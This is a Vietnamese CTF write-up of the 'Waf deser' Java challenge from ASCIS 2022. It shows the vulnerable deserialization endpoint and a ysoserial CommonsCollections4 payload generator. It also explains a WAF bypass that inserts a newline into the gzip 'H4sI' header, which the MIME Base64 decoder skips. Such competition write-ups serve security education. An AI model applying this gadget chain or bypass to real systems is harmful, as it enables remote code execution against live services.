Waf deser – ASCIS 2022 – Quals

Cũng lâu rồi mình cũng chưa post bài nào kể từ bài post cuối, nay nhân dịp vừa qua mình có tham gia Vòng sơ khảo – Cuộc thi Sinh viên với An toàn thông tin ASEAN nên nay cũng muốn viết một bài write-up về một challenge web mà đội mình đã giải được mà cụ thể là bài Waf-deser này. Và cũng vui vì team mình đã first-blood bài này trong thời gian diễn ra cuộc thi ^^.

Analysis

Bài này là một challenge về Java, source code các bạn có thể tham khảo tại đây. Giải nén ra thì đập vào mắt mình gồm 2 file nginx.conf bao gồm những cấu hình của nginx server và file waf-deser-0.0.1-SNAPSHOT.jar là source code của challenge.

Tạo một project bất kỳ trên IntelliJ và add file .jar này vào để tiến hành đọc source code.

File nginx.config có nội dung như sau:

server {    
    listen 80;

    large_client_header_buffers 4 3000; # Limit URI length upto 3000 bytes

    location ~* H4sI {
        return 403 'Deserialization of Untrusted Data Detected. (From real WAF with <3)';
    }

    location / {
        proxy_set_header   X-Forwarded-For $remote_addr;
        proxy_set_header   Host $http_host;
        proxy_pass         "http://web:8080";
    }

}

Ở đây có một pattern lọc những request có đường dẫn bắt đầu bằng H4sI thì sẽ bị chặn để tránh việc tấn công deserialize (cứ tạm note tới đây vì một chút nữa các bạn sẽ biết tại sao lại chặn chuỗi này).

Về phần source code Java bao gồm 3 class User (class chứa các trường name, age), UserController (class chính để handle request tới)WafDeserApplication (class để khởi chạy ứng dụng). Nhưng trong trường hợp này thì ta chỉ cần quan tâm tới class UserController

// UserController.java

package vcs.example.wafdeser;

import java.io.ByteArrayInputStream;
...

@RestController
public class UserController {
    ...

    @RequestMapping(
        value = {"/info/{info}"},
        method = {RequestMethod.GET}
    )
    public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException {
        String unencodedData = this.unEncode(info);
        String returnData = "";
        byte[] data = Base64.getMimeDecoder().decode(unencodedData);
        if (isCompress) {
            InputStream is = new ByteArrayInputStream(data);
            InputStream is = new GZIPInputStream(is);
            ObjectInputStream ois = new ObjectInputStream(is);

            try {
                User user = (User)ois.readObject();
                returnData = user.getName();
                ois.close();
            } catch (Exception var9) {
                returnData = "?????";
            }
        } else {
            returnData = new String(data, StandardCharsets.UTF_8);
        }

        return String.format("Hello %s", returnData);
    }

    private String unEncode(String s) {
        return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/");
    }
}

nhìn vào source code này, ta có thể dễ dàng thấy được rằng đây là một challenge về Java Deserialize, vì server nhận vào một chuỗi base64 thông qua endpoint /info/<data>, nếu như có param compress thì sau đó sẽ tiến hành decode và load data đưa vào ObjectInputStream -> đây cũng là sink của bài toán.

...
    public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException {
        String unencodedData = this.unEncode(info);
        String returnData = "";
        byte[] data = Base64.getMimeDecoder().decode(unencodedData);
        if (isCompress) {
            InputStream is = new ByteArrayInputStream(data);
            InputStream is = new GZIPInputStream(is);
            ObjectInputStream ois = new ObjectInputStream(is);

            try {
                User user = (User)ois.readObject();
                returnData = user.getName();
                ois.close();
            } catch (Exception var9) {
                returnData = "?????";
            }
    ...
    }

đồng thời có sự hiện diện của CC4 nên chắc chắn phải sử dụng gadget chain của CC4

Exploit

Trước khi đi sâu vào phân tích bypass waf trên thì trên local việc đầu tiên mà mình làm là include thư viện ysoserial.jar vào trước, sau đó gọi đến hàm getObject trên ysoserial để tạo ra object chứa gadget chain CC4. Sau đó tiến hành tạo payload dưới dạng gzip và encode ra base64, mình làm việc này đầu tiên là bởi vì mình muốn đảm bảo rằng quá trình decode base64 -> decompress gzip -> load object có thể RCE thành công.

Hàm để gen payload đơn giản như sau:

...
// from ysoserial with love
public static Queue<Object> getObject(final String command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(command);
        ...
        return queue;
}

public static void generatePayload(String cmd) throws IOException {
        String payload;
        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final ObjectOutputStream objectOutputStream;
        try{

            FileOutputStream fos = new FileOutputStream("./out.gz");
            GZIPOutputStream gz = new GZIPOutputStream(fos);

            ObjectOutputStream oos = new ObjectOutputStream(gz);

            oos.writeObject(getObject(cmd));
            oos.close();

            System.out.println("Done");

        }catch(Exception ex){
            ex.printStackTrace();
        }

        File file = new File("out.gz");
        byte[] encoded = Base64.getMimeEncoder().encode(FileUtils.readFileToByteArray(file));
        payload = new String(encoded, StandardCharsets.US_ASCII);
        System.out.println(payload);

    }

public static void main(String args[]) throws Exception {
    generatePayload("calc.exe");
}
... 

kết quả như sau:

thường các byte header của file gzip sau khi base64 encode sẽ bắt đầu là H4sI => Đó là lý do tại sao nginx lại chặn chuỗi có chứa H4sI, mục đích là ngăn chặn ta gửi một object đã được compress dưới dạng gzip lên.

Sau khi có được payload ở trên rồi ta tiến hành deserialize thử payload vừa tạo xem quá trình deserialize có thể RCE thành công được hay không.

tới đây là coi như ổn được phần đầu. Nhưng để ý một chút là payload được truyền qua url phải đi qua hàm unEncode

hàm này có chức năng là thay một số ký tự urlencoded sang dạng raw và kèm theo một số ký tự khác nữa

Nếu để ý thì trong payload ta vừa tạo bên trên dưới dạng gzip thì sẽ có một số ký tự /, mà trên url nếu gặp ký tự này thì nó sẽ hiểu là một đường dẫn chứ không phải là data mà chúng ta muốn truyền vào -> status code sẽ là 404, kể cả có urlencode đi chăng nữa

dựa vào hàm unEncode này có một chổ có thể sử dụng để bypass trường hợp này là replaceAll("_", "/") -> dựa vào chổ này ta có thể truyền dấu / mà không ảnh hưởng đến payload cũng như không ảnh hưởng đến đường dẫn.

H4sI_abcv%2Bxxx%3D -> unEncode -> H4sI/abcv+xxx=

sau khi hiểu được quy luật thì mình đã tiến hành sửa lại payload trên tiến hành test trên local và RCE thành công.

nhưng … chưa xong đâu =)), chúng ta cần bypass cái waf của nginx nữa =((

sau đó mình đã google đủ kiểu tìm cách nào đó có thể chèn gzip mà không phải bắt đầu bằng H4sI hay không thì kết quả là không tìm ra được =((. Nhưng sau đó ở trên IntelliJ, mình đã thử fuzz chèn một số ký tự đặc biệt như \n thì lại work =))

Lý do là vì ở hàm Base64.getMimeDecoder().decode() sẽ decode với đầu vào là một tập các ký tự charset ISO_8859_1

ở hàm decode0, khi bắt gặp ký tự \n thì giá trị của isMIME=true lúc này nó sẽ skip dấu \n đi và sau đó tiến hành xử lý các ký tự tiếp theo.

dễ hiểu hơn nếu như có xuất hiện các ký tự không tìm thấy trong bộ base64 alphabet thì sẽ bị bỏ qua

Dựa vào trick này, ta có thể dễ dàng bypass waf bằng cách thêm \n vào chuỗi H4sI -> RCE

Đến đây coi như là xong bài toán, nhưng có một điều làm mình hơi mất thời gian là vì mình đã sử dụng một số command như curl, wget, nslookup với mục đích là để xem payload có thể RCE trên server thật hay không nhưng không có request nào nhận được =((

nên lúc này mình đã build docker ngay lập tức trên local để test xem liệu đã có thể RCE được hay chưa? Nhưng sau khi test thì thấy payload vẫn hoạt động, các command như wget, curl, nslookup không hoạt động là do trên server không cài những công cụ đó.

Đến đây thì đành phải reverse shell qua payload dành cho Java là:

Tạo payload:

Và cuối cùng là đọc flag thoyyyyyyyyyyyyyyyyy:

May mắn là ở vòng thi sơ khảo này, team của tụi mình cũng đã đạt được thành tích đáng kể song đó cũng cảm ơn BTC vì đã tạo ra những challenge hay và vô cùng thú vị này!!!

Mặc dù hơi muộn nhưng chúc chị em có một ngày 20/10 thật vui và tràn đầy niềm vui nhé!!!
From nhienit with love x1337

Happy hacking!!!

Published by

4 bình luận cho “Waf deser – ASCIS 2022 – Quals”

  1. Em cảm ơn anh

Bình luận về bài viết này

Tạo trang giống vầy với WordPress.com
Tham gia